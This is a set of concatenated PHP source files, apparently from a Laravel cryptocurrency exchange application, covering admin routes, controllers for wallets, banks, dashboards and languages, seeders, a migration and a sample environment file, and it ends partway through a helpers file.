Route::put('languages/settings', [LanguageController::class, 'settingsUpdate']) ->name('languages.update.settings'); Route::put('languages/sync', [LanguageController::class, 'sync']) ->name('languages.sync'); Route::resource('languages', LanguageController::class) ->except('show'); //Ticket Management Route::put('tickets/{ticket}/close', [AdminTicketController::class, 'close']) ->name('admin.tickets.close'); Route::put('tickets/{ticket}/resolve', [AdminTicketController::class, 'resolve']) ->name('admin.tickets.resolve'); Route::put('tickets/{ticket}/assign', [AdminTicketController::class, 'assign']) ->name('admin.tickets.assign'); Route::post('tickets/{ticket}/comment', [AdminTicketController::class, 'comment']) ->name('admin.tickets.comment.store'); Route::get('ticket/{ticket}/download-attachment/{fileName}', [AdminTicketController::class, 'download']) ->name('admin.tickets.attachment.download'); Route::resource('tickets', AdminTicketController::class) ->only(['index', 'show']) ->names('admin.tickets'); //User Managements Route::get('users/{user}/edit/status', [UsersController::class, 'editStatus']) ->name('admin.users.edit.status'); //Update User Status Route::put('users/{user}/update/status', [UsersController::class, 'updateStatus']) ->name('admin.users.update.status'); //Search User Route::get('users/search', AdminUserSearchController::class) ->name('admin.users.search'); //Users Route::resource('users', UsersController::class) ->names('admin.users'); //User activity Route::get('users/{user}/activities', [AdminActivityController::class, 'index'])->name('admin.users.activities'); //User Wallet Route::get('users/{user}/wallets', [AdminUserWalletController::class, 'index']) ->name('admin.users.wallets.index'); //User adjust balance Route::resource('users/{user}/wallets/{wallet}/adjust-amount', AdjustAmountController::class) ->only('create', 'store') ->names('admin.users.wallets.adjust-amount'); //User deposit history Route::get('users/{user}/wallets/{wallet}/deposits', [AdminUserDepositController::class, 'index']) ->name('admin.users.wallets.deposits.index'); //User withdrawal history Route::get('users/{user}/wallets/{wallet}/withdrawals', [AdminUserWithdrawalController::class, 'index']) ->name('admin.users.wallets.withdrawals.index'); //User Open Orders Route::get('users/{user}/open-orders', [AdminUserOpenOrderController::class, 'index']) ->name('admin.users.open-orders.index'); //User Trade History Route::get('users/{user}/trade-history', AdminUserTradeHistoryController::class) ->name('admin.users.trade-history.index'); //Laravel Log Viewer Route::get('logs', [LogViewerController::class, 'index']) ->name('logs.index'); //System wallet Route::get('system-wallets', [SystemWalletsController::class, 'index']) ->name('admin.system-wallets.index'); //System wallet deposit Route::resource('system-wallets/{wallet}/deposit', SystemDepositController::class) ->except('edit') ->names('admin.system-wallets.deposit'); //System wallet withdrawal Route::resource('system-wallets/{wallet}/withdrawal', SystemWithdrawalController::class) ->except('edit', 'update', 'destroy') ->names('admin.system-wallets.withdrawal'); //Withdrawal Review Route::resource('review/withdrawals', AdminWithdrawalReviewController::class) ->except('create', 'store', 'edit') ->names('admin.review.withdrawals'); //Withdrawal Review Route::resource('history/withdrawals', AdminWithdrawalHistoryController::class) ->except('create', 'store', 'edit') ->names('admin.history.withdrawals'); //Deposit Review Route::resource('review/bank-deposits', AdminBankDepositReviewController::class) ->except('create', 'store', 'edit') ->names('admin.review.bank-deposits'); // deposit amount adjustment Route::post('adjust/bank-deposits/{deposit}', AdminBankDepositAdjustController::class) ->name('admin.adjust.bank-deposits'); //Deposit History Route::resource('history/deposits', AdminDepositHistoryController::class) ->except('create', 'store', 'edit') ->names('admin.history.deposits'); //System Bank Account Route::put('system-banks/toggle-status/{bankAccount}', [ChangeAdminBankAccountStatusController::class, 'change']) ->name('system-banks.toggle-status'); Route::resource('system-banks', AdminBankManagementController::class) ->except('show') ->names('system-banks'); //Post Management Route::put('post-categories/{postCategory}/toggle-status', [ChangePostCategoryStatusController::class, 'change']) ->name('post-categories.toggle-status'); Route::resource('post-categories', PostCategoryController::class) ->except('show', 'destroy'); Route::post('posts/{post}/comment', [PostCommentController::class, 'store']) ->name('posts.comment'); Route::post('posts/{post}/comment/{comment}/reply', [ReplyCommentController::class, 'store']) ->name('posts.comment.reply'); Route::put('posts/{post}/toggle-status', [ChangePostStatusController::class, 'change']) ->name('posts.toggle-status'); Route::resource('posts', PostController::class); // Page Management Route::resource('pages', PageController::class)->names('pages')->except('show'); Route::put('pages/{page}/toggle-status', [ChangePageStatusController::class, 'changePublishStatus']) ->name('pages.toggle-status'); }); <file_sep>APP_NAME=cipherdine APP_ENV=local APP_KEY=PleaseGenerateAppKeyForLaraframe APP_DEBUG=true APP_URL=http://192.168.127.12 APP_TIMEZONE=UTC LOG_CHANNEL=stack DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=cipherdine DB_USERNAME=root DB_PASSWORD=<PASSWORD> CACHE_DRIVER=file QUEUE_CONNECTION=sync SESSION_DRIVER=file SESSION_LIFETIME=120 REDIS_HOST=127.0.0.1 REDIS_PASSWORD=<PASSWORD> REDIS_PORT=6379 MAIL_MAILER=smtp MAIL_HOST=smtp.mailtrap.io MAIL_PORT=2525 MAIL_USERNAME=null MAIL_PASSWORD=<PASSWORD> MAIL_ENCRYPTION=null MAIL_FROM_ADDRESS=null MAIL_FROM_NAME="${APP_NAME}" BROADCAST_DRIVER=redis MIX_BROADCAST_DRIVER="${BROADCAST_DRIVER}" MIX_BROADCAST_PORT=6001 <file_sep><?php namespace App\Http\Controllers\Core; use App\Http\Controllers\Controller; use App\Models\Coin\Coin; use App\Services\Core\ApplicationSettingService; use Illuminate\Http\RedirectResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Config; use Illuminate\View\View; class ApplicationSettingController extends Controller { public $applicationSettingService; public function __construct() { $this->addBTCForkedCoinSettingToSettingConfig(); $this->applicationSettingService = app(ApplicationSettingService::class); } private function addBTCForkedCoinSettingToSettingConfig() { $btcForkedCoins = Coin::whereJsonContains('api->selected_apis', API_BITCOIN) ->select(['symbol', 'name']) ->where('is_active', ACTIVE) ->get(); $settingFields = []; foreach ($btcForkedCoins as $forkedCoin) { $symbol = strtolower($forkedCoin->symbol); $settingName = strtolower($forkedCoin->name); foreach (get_bitcoin_fields() as $fieldName => $attributes) { $settingFields[$settingName][$symbol . $fieldName] = $attributes; } } $settings = config('appsettings.settings.api_settings.settings'); $updatedSettings = array_merge($settings, $settingFields); Config::set('appsettings.settings.api_settings.settings', $updatedSettings); } public function index(): RedirectResponse{ $type = array_key_first($this->applicationSettingService->settingsConfigurations); $sub_type = array_key_first(current($this->applicationSettingService->settingsConfigurations)['settings']); return redirect()->route('application-settings.edit', ['type' => $type, 'sub_type' => $sub_type]); } public function edit(string $type, string $sub_type): View { abort_if(!isset($this->applicationSettingService->settingsConfigurations[$type]['settings'][$sub_type]), 404); $data['settings'] = $this->applicationSettingService->loadForm($type, $sub_type); $data['type'] = $type; $data['sub_type'] = $sub_type; $data['title'] = __('Edit - :type', ['type' => ucfirst($type)]); return view('core.application_settings.edit', $data); } public function update(Request $request, string $type, string $sub_type): RedirectResponse { if(!isset($this->applicationSettingService->settingsConfigurations[$type]['settings'][$sub_type])){ return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('Failed to update settings.')); } $response = $this->applicationSettingService->update($request, $type, $sub_type); $status = $response[RESPONSE_STATUS_KEY] ? RESPONSE_TYPE_SUCCESS : RESPONSE_TYPE_ERROR; return redirect()->route('application-settings.edit', [$type, $sub_type])->withInput($response['inputs'])->withErrors($response['errors'])->with($status, $response[RESPONSE_MESSAGE_KEY]); } } <file_sep><?php use App\Jobs\Wallet\GenerateUsersWalletsJob; use App\Models\BankAccount\BankAccount; use App\Models\Coin\Coin; use App\Models\Coin\CoinPair; use Illuminate\Database\Seeder; use Illuminate\Support\Arr; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Schema; class CoinsTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { Schema::disableForeignKeyConstraints(); DB::table('coin_pairs')->truncate(); DB::table('coins')->truncate(); DB::table('bank_accounts')->truncate(); Schema::enableForeignKeyConstraints(); $systemBank = factory(BankAccount::class)->create(); $coins = [ [ 'symbol' => 'BTC', 'name' => 'Bitcoin', 'type' => COIN_TYPE_CRYPTO, 'exchange_status' => ACTIVE, 'deposit_status' => ACTIVE, 'withdrawal_status' => ACTIVE, 'withdrawal_fee' => 0.00002, 'minimum_withdrawal_amount' => 0.001, 'api' => [ "selected_apis" => "BitcoinForkedApi", ], ], [ 'symbol' => 'USD', 'name' => 'United States Dollar', 'type' => COIN_TYPE_FIAT, 'exchange_status' => ACTIVE, 'deposit_status' => ACTIVE, 'withdrawal_status' => ACTIVE, 'withdrawal_fee' => 0.05, 'minimum_withdrawal_amount' => 0.1, 'api' => [ "selected_apis" => ["BankApi"], "selected_banks" => [$systemBank->id] ] ] ]; $createdCoins = []; foreach ($coins as $coin) { $createdCoins[] = $model = Coin::create($coin); if (env('QUEUE_CONNECTION', 'sync') === 'sync') { GenerateUsersWalletsJob::dispatchNow($model); } else { GenerateUsersWalletsJob::dispatch($model); } } if (!empty($createdCoins)) { factory(CoinPair::class)->create([ 'trade_coin' => Arr::first($createdCoins), 'base_coin' => Arr::last($createdCoins), 'is_active' => ACTIVE, 'is_default' => ACTIVE, ]); } } } <file_sep><?php namespace App\Http\Controllers\Exchange; use App\Http\Controllers\Controller; use App\Models\Coin\CoinPair; use App\Services\Core\DataTableService; use App\Services\Exchange\CoinPairService; use Illuminate\Http\JsonResponse; use Illuminate\View\View; class CoinMarketController extends Controller { public $coinPairService; public function __construct(CoinPairService $coinPairService) { $this->coinPairService = $coinPairService; } public function getCoinMarket($baseCoin): JsonResponse { $baseCoins = cache()->rememberForever('baseCoins', function () { $baseCoins = CoinPair::where('is_active', ACTIVE)->pluck('base_coin'); $baseCoinsArray = []; foreach ($baseCoins as $baseCoin) { $baseCoinsArray[$baseCoin] = [ 'icon_url' => $this->_getCoinIcon($baseCoin), 'market_url' => route('exchange.get-coin-market', $baseCoin) ]; } return $baseCoinsArray; }); $coinPairs = CoinPair::select('base_coin', 'trade_coin', 'name', 'last_price') ->where('is_active', ACTIVE) ->where('base_coin', $baseCoin) ->with('exchangeSummary', 'coin') ->get(); $coinPairs = $coinPairs->map(function ($coinPair) { $formattedCoinPair = [ 'trade_coin' => $coinPair->trade_coin, 'base_coin' => $coinPair->base_coin, 'trade_pair' => $coinPair->name, 'trade_pair_name' => $coinPair->trade_pair, 'trade_coin_name' => $coinPair->coin->name, 'latest_price' => $coinPair->last_price, 'low_price' => 0, 'high_price' => 0, 'trade_coin_volume' => 0, 'base_coin_volume' => 0, 'change' => 0, 'trade_coin_icon' => $this->_getCoinIcon($coinPair->trade_coin), 'base_coin_icon' => $this->_getCoinIcon($coinPair->base_coin), ]; if ($coinPair->exchangeSummary !== null) { $formattedCoinPair['low_price'] = $coinPair->exchangeSummary->low_price; $formattedCoinPair['high_price'] = $coinPair->exchangeSummary->high_price; $formattedCoinPair['trade_coin_volume'] = $coinPair->exchangeSummary->trade_coin_volume; $formattedCoinPair['base_coin_volume'] = $coinPair->exchangeSummary->base_coin_volume; $formattedCoinPair['change'] = bcmul(bcdiv(bcsub($coinPair->last_price, $coinPair->exchangeSummary->first_price), $coinPair->exchangeSummary->first_price), '100', 2); } return $formattedCoinPair; }); $response = [ 'coin_pairs' => $coinPairs, 'base_coins' => $baseCoins ]; return response()->json($response); } public function _getCoinIcon($coin): string { $coinIconSlug = $coin . COIN_ICON_EXTENSION; return get_coin_icon($coinIconSlug); } } <file_sep><?php namespace App\Models\BankAccount; use App\Models\Core\Country; use App\Models\Deposit\WalletDeposit; use App\Override\Eloquent\LaraframeModel as Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Support\Facades\DB; use Illuminate\Support\Str; class BankAccount extends Model { public $incrementing = false; protected $keyType = 'string'; protected static function boot(): void { parent::boot(); static::creating(static function ($model) { $model->{$model->getKeyName()} = (string) Str::uuid(); }); } protected $fillable = [ 'user_id', 'reference_number', 'bank_name', 'iban', 'swift', 'account_holder', 'bank_address', 'account_holder_address', 'is_verified', 'is_active', 'country_id', ]; public function country(): BelongsTo { return $this->belongsTo(Country::class); } public function getBankAccountNameAttribute(): string { return $this->bank_name . ' - ' . $this->iban; } public function deposits() { return $this->hasMany(WalletDeposit::class, 'system_bank_account_id', 'id'); } public function scopeWithDepositCount($query) { return $query->addSelect([ 'deposit_count' => WalletDeposit::select(DB::raw('COUNT(*)')) ->whereColumn('bank_accounts.id', 'system_bank_account_id') ]); } } <file_sep><?php namespace App\Services\Referral; use App\Models\Core\User; use App\Models\Referral\ReferralEarning; use App\Models\Wallet\Wallet; use App\Services\Logger\Logger; use Exception; class ReferralService { public function addEarning(User $referralUser, float $systemFee, string $coin): float { $actualSystemFee = $systemFee; try { $referrerUserWallet = Wallet::where('user_id', $referralUser->referrer_id) ->where('symbol', $coin) ->withoutSystemWallet() ->first(); if (!empty($referrerUserWallet)) { $referralAmount = calculate_referral_amount($systemFee); $actualSystemFee = bcsub($systemFee, $referralAmount); if (!$referrerUserWallet->increment('primary_balance', $referralAmount)) { throw new Exception(__("Cannot increment referral bonus to referrer user wallet")); } $referralEarning = ReferralEarning::create([ 'referrer_user_id' => $referralUser->referrer_id, 'referral_user_id' => $referralUser->id, 'symbol' => $coin, 'amount' => $referralAmount, ]); if (empty($referralEarning)) { throw new Exception(__("Cannot create referral earning.")); } } } catch (Exception $exception) { Logger::error($exception, "[FAILED][ReferralService][addEarning]"); return $systemFee; } return $actualSystemFee; } } <file_sep><?php use App\Models\Ticket\Ticket; use App\Models\Ticket\TicketComment; use Illuminate\Database\Seeder; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Schema; class TicketsTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { Schema::disableForeignKeyConstraints(); DB::table('tickets')->truncate(); DB::table('ticket_comments')->truncate(); Schema::enableForeignKeyConstraints(); factory(Ticket::class, 10)->create()->each(function ($ticket) { $ticket->comments()->saveMany( factory(TicketComment::class, random_int(1, 4))->make(['ticket_id' => $ticket->id]) ); }); } } <file_sep><?php namespace App\Http\Controllers\Page; use App\Http\Controllers\Controller; use App\Models\Page\Page; class ViewPageController extends Controller { public function index(Page $page) { abort_unless($page->is_published, 404); $data['title'] = $page->title; $data['page'] = $page; return view('pages.page', $data); } } <file_sep><?php namespace App\Http\Controllers\BankAccount; use App\Http\Controllers\Controller; use App\Models\BankAccount\BankAccount; use Illuminate\Http\RedirectResponse; use Illuminate\Support\Facades\Auth; class ChangeUserBankAccountStatusController extends Controller { public function change(BankAccount $bankAccount): RedirectResponse { if ($bankAccount->user_id != Auth::id()) { return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Invalid bank account id. Please try again.')); } if ($bankAccount->toggleStatus()) { return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __('Successfully bank account status changed. Please try again.')); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to change status. Please try again.')); } } <file_sep><?php namespace App\Http\Controllers\BankAccount; use App\Http\Controllers\Controller; use App\Http\Requests\BankManagement\BankAccountRequest; use App\Models\BankAccount\BankAccount; use App\Models\Deposit\WalletDeposit; use App\Services\BankManagements\BankAccountService; use App\Services\Core\CountryService; use App\Services\Core\DataTableService; use Illuminate\Http\RedirectResponse; use Illuminate\Support\Facades\DB; use Illuminate\View\View; class AdminBankManagementController extends Controller { protected $service; public function __construct(BankAccountService $service) { $this->service = $service; } public function index(): View { $searchFields = [ ['bank_name', __('Bank Name')], ['iban', __('IBAN')], ['swift', __('SWIFT / BIC')], ['account_holder', __('Account Holder')], ['bank_address', __('Bank Address')], ['reference_number', __('Reference Number')], ['account_holder_address', __('Account Holder Address')], ]; $orderFields = [ ['bank_name', __('Bank Name')], ['iban', __('IBAN')], ['swift', __('SWIFT / BIC')], ['reference_number', __('Reference Number')], ['account_holder', __('Account Holder')], ['is_verified', __('Verification')], ['is_active', __('Status')], ]; $data['title'] = __('Bank Accounts'); $queryBuilder = BankAccount::query() ->withDepositCount() ->whereNull('user_id') ->orderByDesc('created_at'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->create($queryBuilder); return view('bank_managements.admin.index', $data); } public function create(): View { $data['countries'] = app(CountryService::class)->getCountries(); $data['title'] = __('Create System Bank Account'); return view('bank_managements.admin.create', $data); } public function store(BankAccountRequest $request): RedirectResponse { $attributes = $this->service->_filterAttributes($request, true); $created = BankAccount::create($attributes); if ($created) { return redirect()->route('system-banks.index')->with(RESPONSE_TYPE_SUCCESS, __('The system bank account has been added successfully.')); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to add the system bank account. Please try again.'))->withInput(); } public function edit(BankAccount $systemBank) { if( $systemBank->deposits()->count() > 0 ) { return redirect()->route('system-banks.index') ->with(RESPONSE_TYPE_ERROR, __('The system bank account can not be modified.')); } $data['countries'] = app(CountryService::class)->getCountries(); $data['title'] = __('Edit System Bank Account'); $data['systemBank'] = $systemBank; return view('bank_managements.admin.edit', $data); } public function update(BankAccountRequest $request, BankAccount $systemBank): RedirectResponse { if( $systemBank->deposits()->count() > 0 ) { return redirect()->route('system-banks.index') ->with(RESPONSE_TYPE_ERROR, __('The system bank account can not be modified.')); } $attributes = $this->service->_filterAttributes($request, true); if ($systemBank->update($attributes)) { return redirect()->route('system-banks.edit', $systemBank->id)->with(RESPONSE_TYPE_SUCCESS, __('The system bank account has been updated successfully.')); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to update the system bank account. Please try again.'))->withInput(); } public function destroy(BankAccount $systemBank): RedirectResponse { if( $systemBank->deposits()->count() > 0 ) { return redirect()->route('system-banks.index') ->with(RESPONSE_TYPE_ERROR, __('The system bank account can not be deleted.')); } if ( $systemBank->delete() ) { return redirect()->route('system-banks.index')->with(RESPONSE_TYPE_SUCCESS, __('The system bank account has been deleted successfully.')); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to delete the system bank account. Please try again.'))->withInput(); } } <file_sep><?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreateExchangesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('exchanges', function (Blueprint $table) { $table->uuid('id')->primary(); $table->uuid('user_id')->index(); $table->uuid('order_id'); $table->string('trade_coin', 10); $table->string('base_coin', 10); $table->string('trade_pair', 20)->index(); $table->decimal('amount', 19, 8)->unsigned(); $table->decimal('price', 19, 8)->unsigned(); $table->decimal('total', 19, 8)->unsigned(); $table->decimal('fee', 19, 8)->unsigned(); $table->decimal('referral_earning', 19, 8)->default(0); $table->string('order_type')->index(); $table->uuid('related_order_id')->nullable(); $table->integer('is_maker'); $table->timestamps(); $table->foreign('user_id') ->references('id') ->on('users') ->onDelete('restrict') ->onUpdate('cascade'); $table->foreign('trade_coin') ->references('symbol') ->on('coins') ->onDelete('restrict') ->onUpdate('cascade'); $table->foreign('base_coin') ->references('symbol') ->on('coins') ->onDelete('restrict') ->onUpdate('cascade'); $table->foreign('trade_pair') ->references('name') ->on('coin_pairs') ->onDelete('restrict') ->onUpdate('cascade'); $table->foreign('order_id') ->references('id') ->on('orders') ->onDelete('restrict') ->onUpdate('cascade'); $table->foreign('related_order_id') ->references('id') ->on('orders') ->onDelete('restrict') ->onUpdate('cascade'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('exchanges'); } } <file_sep><?php namespace App\Http\Controllers\Dashboard; use App\Http\Controllers\Controller; use App\Models\Coin\Coin; use App\Models\Coin\CoinPair; use App\Models\Core\User; use App\Models\Deposit\WalletDeposit; use App\Models\Exchange\Exchange; use App\Models\Kyc\KycVerification; use App\Models\Post\Post; use App\Models\Post\PostComment; use App\Models\Ticket\Ticket; use App\Models\Withdrawal\WalletWithdrawal; use Carbon\Carbon; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; use Illuminate\View\View; class AdminDashboardController extends Controller { public function index(): View { $data['title'] = __('Admin Dashboard'); return view('dashboard.admin.show', $data); } public function getFeaturedCoins(): JsonResponse { $featuredCoins = $this->_getFeaturedCoins([ settings('dashboard_coin_1'), settings('dashboard_coin_2'), settings('dashboard_coin_3'), settings('dashboard_coin_4'), ]); if (count($featuredCoins) <= 0) { return response()->json([RESPONSE_STATUS_KEY => RESPONSE_TYPE_ERROR, RESPONSE_DATA => []]); } for ($i = 1; $i <= 4; $i++) { $featuredCoin = $featuredCoins->where('symbol', settings('dashboard_coin_' . $i))->first(); $data['dashboardCoins']['coin_' . $i]['name'] = $featuredCoin->name; $data['dashboardCoins']['coin_' . $i]['symbol'] = $featuredCoin->symbol; $data['dashboardCoins']['coin_' . $i]['revenue_cart_url'] = route('coins.revenue-graph', $featuredCoin->symbol); $data['dashboardCoins']['coin_' . $i]['icon'] = get_coin_icon($featuredCoin->icon); $data['dashboardCoins']['coin_' . $i]['primary_balance'] = $featuredCoin->systemWallet->primary_balance; } return response()->json([RESPONSE_STATUS_KEY => RESPONSE_TYPE_SUCCESS, RESPONSE_DATA => $data]); } public function _getFeaturedCoins($symbols) { return Coin::whereIn('symbol', $symbols)->with('systemWallet')->select('symbol', 'name', 'icon')->get(); } public function getUserReports(): JsonResponse { $users = User::all(); $data['totalUsers'] = $users->count(); $data['totalActiveUsers'] = $users->where('status', STATUS_ACTIVE)->count(); $data['totalSuspendedUsers'] = $users->where('status', STATUS_INACTIVE)->count(); $data['totalVerifiedUsers'] = $users->where('is_email_verified', VERIFIED)->count(); return response()->json(['userReports' => $data]); } public function getTicketReports(): JsonResponse { $tickets = Ticket::all(); $data['totalTicket'] = $tickets->count(); $data['totalOpenTicket'] = $tickets->where('status', STATUS_OPEN)->count(); $data['totalClosedTicket'] = $tickets->where('status', STATUS_CLOSED)->count(); $data['totalResolvedTicket'] = $tickets->where('status', STATUS_RESOLVED)->count(); return response()->json(['ticketReports' => $data]); } public function getRecentRegisterUsers(): JsonResponse { $users = User::with(["profile"]) ->orderBy('created_at', 'desc')->take(5)->get(); $view = view('dashboard.admin._user_list_template', ['users' => $users])->render(); return response()->json(['view' => $view]); } public function getCoinPairTrade(): JsonResponse { $startDate = Carbon::now()->startOfWeek(); $endDate = Carbon::now()->endOfWeek(); $coinPair = CoinPair::where('name', settings('dashboard_coin_pair'))->first(); if (!is_null($coinPair)) { $orderType = ORDER_TYPE_BUY; $exchanges = $coinPair->exchanges() ->select( DB::raw("DAYNAME(created_at) as day"), DB::raw("sum(total) as total"), DB::raw("sum(IF(order_type = '{$orderType}', price*fee, fee)) as revenue"), ) ->whereBetween('created_at', [$startDate, $endDate]) ->groupBy('day') ->get() ->groupBy('day') ->toArray(); $tradeGraph['total'] = 0; $tradeGraph['revenue'] = 0; while ($startDate <= $endDate) { $tradeGraph['days'][] = $startDate->dayName; $tradeGraph['revenues'][] = isset($exchanges[$startDate->dayName]) ? $exchanges[$startDate->dayName][0]['revenue'] : 0; $tradeGraph['total'] = bcadd( $tradeGraph['total'], isset($exchanges[$startDate->dayName]) ? $exchanges[$startDate->dayName][0]['total'] : 0 ); $tradeGraph['revenue'] = bcadd( $tradeGraph['revenue'], isset($exchanges[$startDate->dayName]) ? $exchanges[$startDate->dayName][0]['revenue'] : 0 ); $startDate->addDay(); } $tradeGraph['coinPairName'] = $coinPair->trade_pair; } else { $tradeGraph = []; } return response()->json(['coinPairTrade' => $tradeGraph]); } public function getRecentWithdrawals(): JsonResponse { $recentWithdrawals = WalletWithdrawal::where('status', STATUS_COMPLETED)->orderBy('created_at', 'desc')->take(4)->get(); $view = view('dashboard.admin._withdrawal_list_template', ['recentWithdrawals' => $recentWithdrawals])->render(); return response()->json(['view' => $view]); } public function getRecentDeposits(): JsonResponse { $recentDeposits = WalletDeposit::where('status', STATUS_COMPLETED)->orderBy('created_at', 'desc')->take(4)->get(); $view = view('dashboard.admin._deposit_list_template', ['recentDeposits' => $recentDeposits])->render(); return response()->json(['view' => $view]); } public function getRecentTrades(): JsonResponse { $recentTrades = Exchange::orderBy('created_at', 'desc')->take(4)->get(); $view = view('dashboard.admin._trade_list_template', ['recentTrades' => $recentTrades])->render(); return response()->json(['view' => $view]); } public function getOtherReports(): JsonResponse { // coins $coins = Coin::all(); $data['totalCoin'] = $coins->count(); $data['totalActiveCoin'] = $coins->where('is_active', ACTIVE)->count(); // coin pair $coinPairs = CoinPair::all(); $data['totalCoinPair'] = $coinPairs->count(); $data['totalActiveCoinPair'] = $coinPairs->where('is_active', ACTIVE)->count(); // kyc $data['totalPendingReviewKyc'] = KycVerification::where('status', STATUS_REVIEWING)->count(); // withdrawal $data['totalPendingWithdrawal'] = WalletWithdrawal::where('status', STATUS_REVIEWING)->count(); // deposit $data['totalPendingDeposit'] = WalletDeposit::where('status', STATUS_REVIEWING)->count(); // post and comment $data['totalPost'] = Post::where('is_published', ACTIVE)->count(); $data['totalComment'] = PostComment::count(); return response()->json(['reports' => $data]); } } <file_sep><?php namespace App\Http\Controllers\Core; use App\Http\Controllers\Controller; use App\Http\Requests\Core\LanguageRequest; use App\Models\Core\Language; use App\Services\Core\{DataTableService, FileUploadService, LanguageService}; use Exception; use Illuminate\Http\JsonResponse; use Illuminate\Http\RedirectResponse; use Illuminate\Http\Request; use Illuminate\Support\{Facades\Cache, Facades\DB}; use Illuminate\View\View; class LanguageController extends Controller { public $languageService; public function __construct(LanguageService $languageService) { $this->languageService = $languageService; } public function index(): View { $searchFields = [ ['name', __('Name')], ['short_code', __('Short Code')], ]; $orderFields = [ ['id', __("Serial")], ['name', __('Name')], ['short_code', __('Short Code')], ]; $queryBuilder = Language::orderBy('id', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->create($queryBuilder); $data['title'] = __('Languages'); return view('core.languages.index', $data); } public function create(): View { $data['title'] = __('Create New Language'); return view('core.languages.create', $data); } public function store(LanguageRequest $request): RedirectResponse { DB::beginTransaction(); try { $params = $request->only(['name', 'short_code']); if ($request->hasFile('icon')) { $filePath = config('commonconfig.language_icon'); $fileName = $params['short_code']; $params['icon'] = app(FileUploadService::class)->upload($request->file('icon'), $filePath, $fileName, $prefix = '', $suffix = '', $disk = 'public', $width = 120, $height = 80); } $language = Language::create($params); if (empty($language)) { throw new Exception(__('Failed to create language.')); } $this->languageService->addLanguage($params['short_code']); $this->cache($language); } catch (Exception $exception) { return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to create language.')); } DB::commit(); return redirect()->route('languages.index')->with(RESPONSE_TYPE_SUCCESS, __('Language [:lang] has been created successfully.', ['lang' => $params['short_code']])); } private function cache(Language $language): void { $languages = Cache::get('languages'); $languages[$language->short_code] = [ 'name' => $language->name, 'icon' => $language->icon ]; Cache::set('languages', $languages); } public function edit(Language $language): View { $data['language'] = $language; $data['title'] = __('Edit Language'); return view('core.languages.edit', $data); } public function update(LanguageRequest $request, Language $language): RedirectResponse { DB::beginTransaction(); try { $params = $request->only(['name', 'short_code', 'is_active']); if ($language->short_code == settings('lang')) { $params['is_active'] = ACTIVE; } if ($params['short_code'] != $language->short_code) { $isRenamed = $this->languageService->rename($language->short_code, $params['short_code']); if (!$isRenamed) { throw new Exception(__('Failed to rename file.')); } } if ($request->hasFile('icon')) { $filePath = config('commonconfig.language_icon'); $fileName = $params['short_code']; $params['icon'] = app(FileUploadService::class)->upload($request->file('icon'), $filePath, $fileName, $prefix = '', $suffix = '', $disk = 'public', $width = 120, $height = 80); } $language->update($params); $this->cache($language->fresh()); } catch (Exception $exception) { DB::rollBack(); return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, $exception->getMessage()); } DB::commit(); return redirect()->route('languages.index')->with(RESPONSE_TYPE_SUCCESS, __('Language [:lang] has been updated successfully.', ['lang' => $params['short_code']])); } public function destroy(Language $language): RedirectResponse { DB::beginTransaction(); try { if ($language->short_code == settings('lang')) { throw new Exception(__('Default language cannot be deleted.')); } $languages = Cache::get('languages'); unset($languages[$language->short_code]); Cache::set('languages', $languages); $language->delete(); } catch (Exception $exception) { DB::rollBack(); return redirect()->route('languages.index')->with(RESPONSE_TYPE_ERROR, $exception->getMessage()); } DB::commit(); return redirect()->route('languages.index')->with(RESPONSE_TYPE_SUCCESS, __('Language [:lang] has been deleted successfully.', ['lang' => $language->short_code])); } public function settings(): View { $data['title'] = __('Language Settings'); return view('core.languages.settings', $data); } public function getTranslation(): JsonResponse { $translations = $this->languageService->getTranslations(); return response()->json($translations); } public function settingsUpdate(Request $request): JsonResponse { $this->languageService->saveTranslations($request->translations); return response()->json(['type' => 'success', 'message' => __('Saved successfully.')]); } public function sync(): JsonResponse { $response = $this->languageService->sync(); return response()->json($response); } } <file_sep><?php namespace App\Mail\Withdrawal; use App\Models\Withdrawal\WalletWithdrawal; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Mail\Mailable; use Illuminate\Queue\SerializesModels; class WithdrawalComplete extends Mailable implements ShouldQueue { use Queueable, SerializesModels; public $withdrawal; /** * Create a new message instance. * * @return void */ public function __construct(WalletWithdrawal $withdrawal) { $this->withdrawal = $withdrawal; } /** * Build the message. * * @return $this */ public function build() { return $this->markdown('email.withdrawal.complete') ->subject("Withdrawal Confirmation"); } } <file_sep><?php use App\Models\Coin\Coin; use App\Models\Coin\CoinPair; use App\Models\Core\{ApplicationSetting, Language, Notice, Notification, Role, User}; use App\Services\Core\NavigationService; use App\Services\Core\ProfileService; use Carbon\Carbon; use Illuminate\Support\{Arr, Facades\Auth, Facades\Cache, Facades\Cookie, Facades\Hash, Facades\Request, Facades\Route, HtmlString, Str}; if (!function_exists('company_name')) { function company_name() { $companyName = settings('company_name'); return empty($companyName) ? config('app.name') : $companyName; } } if (!function_exists('company_logo')) { function company_logo() { $isLight = is_light_mode(true, false); $logoPath = 'storage/' . config('commonconfig.path_image'); $companyLogo = settings($isLight ? 'company_logo_light' : 'company_logo') ?: 